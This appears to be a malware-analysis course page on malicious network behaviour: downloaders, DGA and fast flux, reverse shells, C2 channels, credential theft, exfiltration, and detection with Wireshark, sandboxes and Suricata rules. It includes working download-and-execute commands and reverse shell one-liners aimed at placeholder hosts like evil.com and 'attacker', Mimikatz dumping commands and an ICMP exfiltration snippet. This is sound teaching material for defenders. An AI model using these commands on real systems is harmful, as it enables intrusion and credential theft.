courses

Malware Network Behavior Analysis

Network activity is one of the most revealing behavioral signals in malware analysis. Even heavily obfuscated or packed code must ultimately communicate over the network in recognizable ways: DNS queries must resolve, HTTP must look like HTTP, TLS must complete a handshake. These observable patterns are the foundation of network-based detection.

This page covers malicious network functionality — how malware downloads payloads, establishes command and control, exfiltrates data, and evades detection. For networking fundamentals (TCP/IP, DNS record types, TTL, routing), see networking fundamentals.


The Network as an Oracle

When analyzing a sample dynamically, the network is your first behavioral channel. Before you understand a single instruction, you can observe:

Simulated network environments (FakeNet-NG, INetSim) extend this: by feeding the malware fake-but-plausible responses to all its connection attempts, you push it past connectivity checks and cause it to reveal C2 communication it would otherwise withhold when it cannot phone home.


Downloaders

A downloader’s job is to retrieve additional malware and execute it. It is typically the first stage in a multi-stage campaign: the initial infection is small, simple, and lightly detected; the real payload is fetched after the victim is confirmed to be valuable.

Windows API for Downloading

The Win32 API offers multiple abstraction levels for HTTP:

// High-level WinINet — A (ANSI) variants throughout
HINTERNET hNet = InternetOpenA(
    "Mozilla/5.0",
    INTERNET_OPEN_TYPE_DIRECT,
    NULL, NULL, 0);
HINTERNET hUrl = InternetOpenUrlA(
    hNet, "http://evil.com/stage2.exe", NULL, 0,
    INTERNET_FLAG_RELOAD, 0);

// Read downloaded bytes and write to disk
HANDLE hFile = CreateFileA(
    "C:\\Windows\\Temp\\payload.exe",
    GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesRead, bytesWritten;
BYTE buffer[4096];
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead)
    WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
CloseHandle(hFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hNet);

// Execute the downloaded payload
WinExec("C:\\Windows\\Temp\\payload.exe", SW_HIDE);  // legacy; prefer CreateProcess

// One-liner shortcut (urlmon.dll) — equivalent to the above in one call
URLDownloadToFileA(NULL,
    "http://evil.com/stage2.exe",
    "C:\\Windows\\Temp\\payload.exe",
    0, NULL);

What to look for in static analysis: imports of InternetOpen, InternetOpenUrl, URLDownloadToFile, WinHttpOpen (lower-level WinHTTP), or raw socket calls (WSAStartup, connect, send/recv). Presence of WinExec or CreateProcess alongside download APIs is a strong downloader signature.

Living-off-the-land variants: Many modern downloaders avoid Win32 API imports entirely and shell out to built-in tools:

# PowerShell (common in macro-based loaders)
Invoke-WebRequest -Uri "http://evil.com/stage2.exe" -OutFile "$env:TEMP\s.exe"; Start-Process "$env:TEMP\s.exe"

# certutil (trusted Windows binary)
certutil -urlcache -f http://evil.com/stage2.exe C:\Windows\Temp\s.exe

# bitsadmin (Background Intelligent Transfer Service)
bitsadmin /transfer job http://evil.com/stage2.exe C:\Windows\Temp\s.exe

Domain Generation Algorithms (DGA) and Fast Flux

Modern malware does not hardcode a single C2 address. Instead, it uses techniques that make the C2 infrastructure difficult to permanently take down. DGA and fast flux are the two primary mechanisms.

Classic DGA

A Domain Generation Algorithm produces a large list of candidate C2 domain names from a seed (usually the current date). The attacker registers a small subset of these each day; the malware queries all candidates until one resolves.

Benefits for the attacker:

Indicators:

Example — a trivial time-seeded DGA (Python approximation):

import datetime, hashlib

def generate_domains(count=100):
    seed = datetime.date.today().strftime("%Y%m%d")
    domains = []
    for i in range(count):
        h = hashlib.md5(f"{seed}{i}".encode()).hexdigest()[:12]
        domains.append(f"{h}.com")
    return domains

Real DGAs (Conficker, Murofet, Locky) use more complex arithmetic, often seeded on the Julian date or week number, and may generate thousands of candidates per day across multiple TLDs.

Dictionary-based DGA: Some malware generates domain names by combining words from a wordlist rather than random characters — the result looks like legitimate domain names and evades entropy-based detection (happylongcat.net, fastgreentree.com). Necurs and Matsnu are documented examples.

Reversing a DGA: Identify the loop that builds domain strings. The seed input is usually a date-derived value — look for calls to GetSystemTime, time(), or date arithmetic before the domain generation loop.

Detection:

Fast Flux

Fast flux is an infrastructure evasion technique built on DNS, independent of — but often combined with — DGA. It exploits the TTL mechanism described in networking.md.

Single Flux

The attacker registers a domain with a very short TTL (60–300 seconds) and an A record that rotates through a pool of compromised hosts (proxies / “flux agents”). Each DNS response returns a different IP from the pool:

evil.com → A 1.2.3.4  (TTL 60)   ← resolver caches for 60s
          → A 5.6.7.8  (next query, 60s later)
          → A 9.10.11.12 (next query, ...)

The actual C2 server is hidden behind the flux layer. Taking down any one proxy doesn’t affect availability; the pool is continuously refreshed from a botnet. This technique was popularized by the Storm botnet.

Key properties:

Double Flux

Double flux rotates both the A records of the target domain and the NS records of the zone. This makes the authoritative DNS infrastructure itself highly available and harder to seize:

Resolver asks: who is authoritative for evil.com?
  → NS ns1.evil.com (TTL 60)
  → NS ns2.evil.com (TTL 60)
Resolver asks: what is ns1.evil.com?
  → A 203.0.113.1 (TTL 60) ← also rotating through botnet proxies
Resolver asks: what is evil.com?
  → A 203.0.113.2 (TTL 60) ← also rotating

Domain registrar seizure only works if you can identify and contact the registrar AND the registrar cooperates. If the NS records themselves change frequently, coordination becomes much harder.

Detection of Fast Flux

Indicator Threshold
TTL ≤ 300 s on A record By itself, not definitive — CDNs use short TTLs too
≥ 5 distinct IPs returned for a domain within a short window High confidence
A record IPs span multiple ASNs and geolocations simultaneously High confidence
A record IPs are residential ISP space (not data center) Strong indicator
Combined with DGA-style domain name Near-certain flux infrastructure

Dead Drop Resolvers

A dead drop resolver uses a legitimate, high-reputation hosting service as the lookup channel for the actual C2 IP. The malware queries a public service (Pastebin, Google Docs, GitHub Gist, Twitter/X API, DNS TXT records) and parses the response for an IP address or URL embedded in the content.

# Conceptual pattern: C2 address hidden in a Pastebin post body
import requests, re

r = requests.get("https://pastebin.com/raw/AbCdEfGh")
# Parse "[C2:203.0.113.45]" from the page body
ip = re.search(r'\[C2:([^\]]+)\]', r.text).group(1)

Why this works for the attacker:

Detection: correlate DNS queries/connections to generic hosting services with subsequent unusual outbound connections; monitor for small, infrequent, but repeated fetches to URL shorteners and paste sites.

Domain Shadowing

The attacker compromises a legitimate domain’s DNS credentials and creates sub-domains that point to malicious infrastructure:

compromised-site.com          ← legitimate, high reputation
  cdn1.compromised-site.com   ← added by attacker, points to C2
  img3.compromised-site.com   ← second C2 address

The parent domain’s reputation protects the sub-domains from URL-category filters. Angler exploit kit popularized this technique.

Cloud Storage as C2

Modern malware increasingly uses cloud storage services as C2 channels:

These channels are allow-listed in enterprise firewalls and use TLS to a trusted CA, making them very difficult to block without breaking legitimate business use. Detection relies on DLP rules matching the specific API endpoints and watching for OAuth tokens embedded in executables.


Backdoors and Remote Access Trojans

A backdoor gives the attacker interactive access to the victim — typically a remote shell or a full RAT that provides file system access, screenshot capture, keylogging, and lateral movement primitives.

Reverse Shells vs. Bind Shells

Bind shell: the victim opens a listening port; the attacker connects in.

Problems: inbound firewall rules block it; NAT makes the victim’s internal IP unreachable from outside.

Reverse shell: the victim connects out to the attacker’s listener.

Outbound connections on ports 80 or 443 are almost always permitted — this trivially bypasses inbound filtering and NAT.

# Attacker sets up listener
nc -nvlp 4444

# Victim — classic netcat (requires -e flag, removed from most builds)
nc attacker 4444 -e /bin/sh

# Victim — mknod pipe (works without -e)
mknod /tmp/bp p
/bin/bash 0</tmp/bp | nc attacker 4444 1>/tmp/bp

# Victim — bash built-in TCP (no external tools at all)
bash -i >& /dev/tcp/attacker/4444 0>&1

# Victim — Python (one-liner; Python 3)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

Windows Reverse Shell Internals

The Windows implementation uses Win32 sockets + process creation:

  1. WSAStartup() / WSASocket() — create a TCP socket
  2. connect() — connect to attacker
  3. CreateProcess("cmd.exe", ...) with a STARTUPINFO where dwFlags includes STARTF_USESTDHANDLES and hStdInput, hStdOutput, hStdError are all set to the (inheritable) socket handle

What to look for in disassembly: a STARTUPINFO structure being populated with STARTF_USESTDHANDLES set in dwFlags, followed by a CreateProcess call where all three stdio handle fields are set to the same socket handle. The socket must be created with WSASocket(..., WSA_FLAG_OVERLAPPED) and marked inheritable via SetHandleInformation. The combination of WSASocket + STARTF_USESTDHANDLES + CreateProcess is a near-certain reverse shell signature.

Command and Control (C2) Protocols

Protocol Notes
Raw TCP Simple, easily detected by flow analysis
HTTP/HTTPS Blends with normal web traffic; custom headers carry commands
DNS Extremely covert, low bandwidth; commands in TXT records or encoded subdomains
ICMP Data hidden in echo payload; rarely filtered
SMTP/email Mail-based C2; useful in environments with email egress
Custom binary Requires protocol reverse engineering to analyze
Legitimate APIs Dropbox, Slack, Teams, GitHub — very hard to block (see above)

HTTP Beaconing

Many RATs implement periodic “check-in” beacons over HTTP. The pattern:

POST /update.php HTTP/1.1
Host: legitimate-looking-domain.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 32

<base64-encoded system info + awaited commands>

Beaconing is detectable statistically: filter for repeated POST requests to the same host at a fixed interval (jitter is added, but the mean interval is stable). In Wireshark: Statistics → IO Graph, add a filter for ip.dst == <c2_ip>, and observe the regularity.

DNS C2

DNS tunneling carries data in DNS query/response fields — primarily TXT records and long subdomain labels:

# Command to victim (in TXT record response)
victim polls: cmd.evil.com → TXT "d2hvYW1p"   (base64 of "whoami")

# Response from victim (encoded in subdomain)
victim queries: d2hvYW1p.results.evil.com → (NXDOMAIN, but attacker logs the query)

Bandwidth is roughly 1–3 KB/s. Detection: queries to a single domain with very long, base64/hex-like subdomains; high query rate to a single second-level domain; TXT record responses containing encoded data.

Tools: iodine, dnscat2, dns2tcp.


Credential Stealers

GINA Interception (Legacy Windows)

Windows XP and earlier used msgina.dll (Graphical Identification and Authentication) as a pluggable authentication provider. Malware inserted a rogue DLL (fsgina.dll) that sits between winlogon.exe and the real GINA:

winlogon.exe → fsgina.dll (logs credentials to file/network)
                → msgina.dll (performs real authentication)

The rogue DLL passes credentials through transparently — the user sees no indication that authentication was intercepted. Registry key:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL

Modern equivalent: Credential Provider plugins (Vista+). The same interception architecture exists, with a different API. Look for DLLs registered under:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers

Keyloggers

Hook-based keylogger:

// Install a low-level keyboard hook (runs in the installing process context)
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);

WH_KEYBOARD_LL callbacks execute in the thread that installed the hook — no DLL injection required. The hook is global (intercepts all keystrokes) but the callback stays in-process. This is easier to deploy than a regular WH_KEYBOARD hook, which does require a DLL injected into each target process. Detection: SetWindowsHookEx with WH_KEYBOARD_LL in the IAT or API monitor.

Polling-based keylogger:

// Check every virtual key (0–255) every N milliseconds
for (int vk = 0; vk < 256; vk++) {
    if (GetAsyncKeyState(vk) & 0x8000)
        LogKey(vk);
}

No hook registration — harder to detect from API monitoring alone. Look for a timed loop that calls GetAsyncKeyState across the full key range.

Credential Dumping

Windows stores credentials in several locations:

Location Contents Access
LSASS process memory Active session tokens, NTLM hashes, Kerberos tickets, plaintext (WDigest) Requires SeDebugPrivilege
SAM registry hive (HKLM\SAM) Local account NTLM hashes Requires SYSTEM
NTDS.dit All domain account hashes (domain controllers only) Requires SYSTEM on DC
LSA secrets Service account credentials, cached domain credentials Requires SYSTEM

pwdump technique: inject lsaext.dll into lsass.exe via CreateRemoteThread, then call undocumented functions (SamIConnect, SamrQueryInformationUser, SamIGetPrivateData, SystemFunction025/SystemFunction027 from advapi32.dll) to extract and decrypt hashes.

Mimikatz automates all of the above and more:

mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords     # dump from LSASS (plaintext if WDigest enabled)
mimikatz# lsadump::sam                 # dump SAM hashes
mimikatz# sekurlsa::tickets            # dump Kerberos tickets
mimikatz# kerberos::golden /...        # forge golden ticket

Mimikatz is built into Metasploit via the kiwi extension, which provides Mimikatz-style credential access. Metasploit’s separate hashdump command dumps SAM hashes via a different code path.

Countermeasures:


Data Exfiltration

Once data is collected, it must be exfiltrated without triggering DLP (Data Loss Prevention) monitoring or egress filtering.

DNS Exfiltration

Data is encoded as subdomain labels in queries to an attacker-controlled domain. DNS labels must be 63 characters or less and may only contain [a-z0-9-] — base64 (with +, /, =) is not valid. Base32 (RFC 4648) or hex encoding is used instead:

# Password exfiltration (hex-encoded in label)
6d79706173737764.data.attacker.com     ← hex of "mypasswd"

# File exfiltration (base32, multiple queries, reassembled server-side)
MFRA.chunk0.xfer.attacker.com
MFRA2.chunk1.xfer.attacker.com

DNS exfiltration properties:

HTTP/HTTPS Header Exfiltration

Data hidden in legitimate-looking HTTP headers:

GET /analytics.js HTTP/1.1
Host: cdn.example.com
If-None-Match: "c2VjcmV0ZGF0YQ"        ← base64url data in conditional GET
X-Request-ID: 737465616c7468697364617461  ← hex data in custom header
Cookie: session=dXNlcjpwYXNzd29yZA      ← base64url data in cookie

The request looks like a standard browser request for a JavaScript file. TLS conceals all of this from network appliances without TLS inspection capability.

ICMP Exfiltration

ICMP echo (ping) packets carry up to ~65 KB of arbitrary payload. Most networks do not filter or inspect ICMP payload content:

from scapy.all import *
# Conceptual — stolen data in ping payload
send(IP(dst="attacker") / ICMP() / Raw(load=stolen_data))

ICMP exfiltration tools: icmpsh, ptunnel.

Detection: ICMP echo requests with non-standard payload sizes or non-zero/non-repeated payload bytes; ICMP traffic to external IPs from hosts that do not normally ping externally.

Covert Channels Summary

Channel Bandwidth Detectability Example tools
DNS subdomain encoding Low (KB/s) Low — rarely inspected dnscat2, iodine
DNS TXT record polling Very low Low dnscat2
ICMP payload Medium Low — rarely inspected icmpsh, ptunnel
HTTP header fields Medium Medium — needs TLS inspection Custom malware
HTTPS to legitimate services High Very low — trusted destinations Dropbox C2, Slack C2
SMTP/email body Low Medium — email DLP exists Custom

Defenses

DNS Response Policy Zone (RPZ): configure your recursive resolver to return NXDOMAIN for known C2 domains and DGA-generated domain patterns. Passive DNS (pDNS) feeds enable rapid propagation of new C2 domain blocks.

Outbound proxy with TLS inspection: all egress forced through a proxy that terminates and re-initiates TLS. Catches cleartext exfiltration and enables header inspection. Breaks certificate pinning in legitimate applications.

Behavioral DLP: baseline normal outbound data volumes per endpoint; alert on deviations. Difficult to tune but catches high-volume exfiltration that signature-based DLP misses.


Network Analysis Tools

For general packet capture and analysis tooling, see tcpdump and Wireshark.

Wireshark Workflow for Malware

  1. Start Wireshark capture before running the sample (or use -k to start immediately: wireshark -k -i eth0)
  2. Run the sample for 60–120 seconds
  3. Stop capture; save the pcap
  4. Apply targeted display filters:
Filter Purpose
dns All DNS queries — look for DGA candidates, NXDOMAIN storms
dns.flags.rcode == 3 NXDOMAIN responses — DGA indicator
http Unencrypted HTTP — URL, User-Agent, headers
tls.handshake.type == 1 TLS ClientHello — reveals SNI (server name before encryption)
tcp.flags.syn == 1 && tcp.flags.ack == 0 All outbound connection attempts
icmp ICMP — check payload for non-standard content
dns.qry.name matches "[a-z0-9]{15,}" Long pseudo-random DNS labels — potential DGA or exfil
  1. Follow streams: right-click any packet → Follow → TCP Stream (or HTTP Stream for decoded HTTP). Reconstructs the full conversation.
  2. Export objects: File → Export Objects → HTTP to save any downloaded files from an HTTP session.
  3. IO Graph: Statistics → IO Graph to visualize beaconing intervals. Add multiple filters as separate graph lines to overlay DNS, HTTP, and TLS activity.

Tip: for HTTPS traffic from a sandbox that you control, set the SSLKEYLOGFILE environment variable on the analysis VM (Firefox and Chrome honor it). Wireshark will decrypt TLS sessions using the logged keys: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename.

FakeNet-NG

FakeNet-NG (FLARE team, Mandiant) intercepts all outbound connections from the analysis VM and responds with fake-but-plausible responses for common protocols. The effect is that malware “succeeds” in connecting even though there is no real internet, causing it to reveal C2 behavior it would otherwise suppress.

FakeNet-NG runs on Windows and is the standard tool in Windows-based dynamic analysis labs.

Installation: included in FLARE-VM. Standalone install from the GitHub release.

Usage:

fakenet.exe                    # run with default config
fakenet.exe -c custom.ini     # custom listener configuration

What it intercepts by default:

Captured output: FakeNet logs all intercepted traffic to a pcap file and a text log, which you analyze in Wireshark after the run.

Limitation: FakeNet-NG redirects all traffic from the analysis machine. This means the machine loses real internet access while it runs. Run it only in a sandboxed analysis environment.

INetSim

INetSim is the Linux equivalent of FakeNet-NG. It simulates network services on a separate Linux host so that an isolated Windows analysis VM’s network traffic is redirected to INetSim.

sudo inetsim                         # run with default config
sudo inetsim --config /etc/inetsim/inetsim.conf

INetSim ships with REMnux and is the standard network simulation tool for Linux-based analysis labs.

Architecture:

Analysis VM (Windows/Linux) ──── host-only network ────  REMnux running INetSim
  10.0.0.2                                                10.0.0.1
  Default gateway: 10.0.0.1 (INetSim)
  DNS server: 10.0.0.1 (INetSim)

Configure the analysis VM’s default gateway and DNS to point to the INetSim host. All DNS queries receive the INetSim host IP in response; all TCP/UDP connections land on INetSim’s fake service listeners.

Report: after stopping INetSim, view the report and log files in the configured output directory (default /var/log/inetsim/report/ on REMnux, or as set in inetsim.conf).

INetSim vs. FakeNet-NG:

  INetSim FakeNet-NG
Platform Linux Windows
Deployment Separate host or VM on host-only network Runs on the analysis VM itself
Protocol coverage HTTP, HTTPS, FTP, SMTP, DNS, IRC, and more HTTP, HTTPS, DNS, SMTP, FTP, IRC, and more
HTTPS Self-signed cert (can install the CA on analysis VM) Self-signed cert

Snort / Suricata Network Signatures

IDS rules detect malware by matching content patterns in traffic. The examples below use Suricata syntax; Snort 3 is similar but some sticky buffer keywords differ.

# Suricata: HTTP beacon detection
alert tcp any any -> any 80 (
    msg:"Malware C2 beacon — known User-Agent";
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
    threshold: type both, track by_src, count 3, seconds 120;
    sid:9000001; rev:1;
)

Rules match on:

For TLS traffic without decryption, match on the TLS ClientHello SNI field (plaintext even in encrypted sessions):

# Suricata: TLS SNI matching
alert tls any any -> any 443 (
    msg:"TLS to known C2 domain";
    tls.sni; content:"evil.example.com";
    sid:9000002; rev:1;
)

Network IOC Extraction

After a capture, extract indicators programmatically:

# All unique DNS names queried
tshark -r capture.pcap -T fields -e dns.qry.name | sort -u

# All unique destination IPs connected to
tshark -r capture.pcap -T fields -e ip.dst | sort -u

# All HTTP hosts and URIs
tshark -r capture.pcap -T fields -e http.host -e http.request.uri \
    | sort -u | grep -v '^$'

# TLS SNI values (C2 domains even in encrypted traffic)
tshark -r capture.pcap -T fields -e tls.handshake.extensions_server_name \
    | sort -u | grep -v '^$'

# Extract all transferred files from HTTP
tshark -r capture.pcap --export-objects http,./extracted/

Feed extracted IPs and domains to threat intelligence platforms (VirusTotal, Shodan, MISP) for context enrichment.


Lab

From Practical Malware Analysis chapters 11 and 14, supplemented with the above:

  1. Downloader identification: find the download URL in static analysis (strings, imports); confirm the download in dynamic analysis using FakeNet-NG or INetSim
  2. DGA simulation: implement a trivial DGA in Python and run it; observe the NXDOMAIN storm in Wireshark; apply a DNS entropy filter
  3. Reverse shell capture: set up a netcat listener; trigger a reverse shell in the sample; reconstruct the full command stream using Follow → TCP Stream
  4. Beaconing analysis: use Statistics → IO Graph to measure beacon interval; write a Snort rule to detect it
  5. DNS exfiltration: use dnscat2 to exfiltrate a small file; observe the query pattern; attempt to extract the file from the pcap using Wireshark’s DNS dissector

Cross-References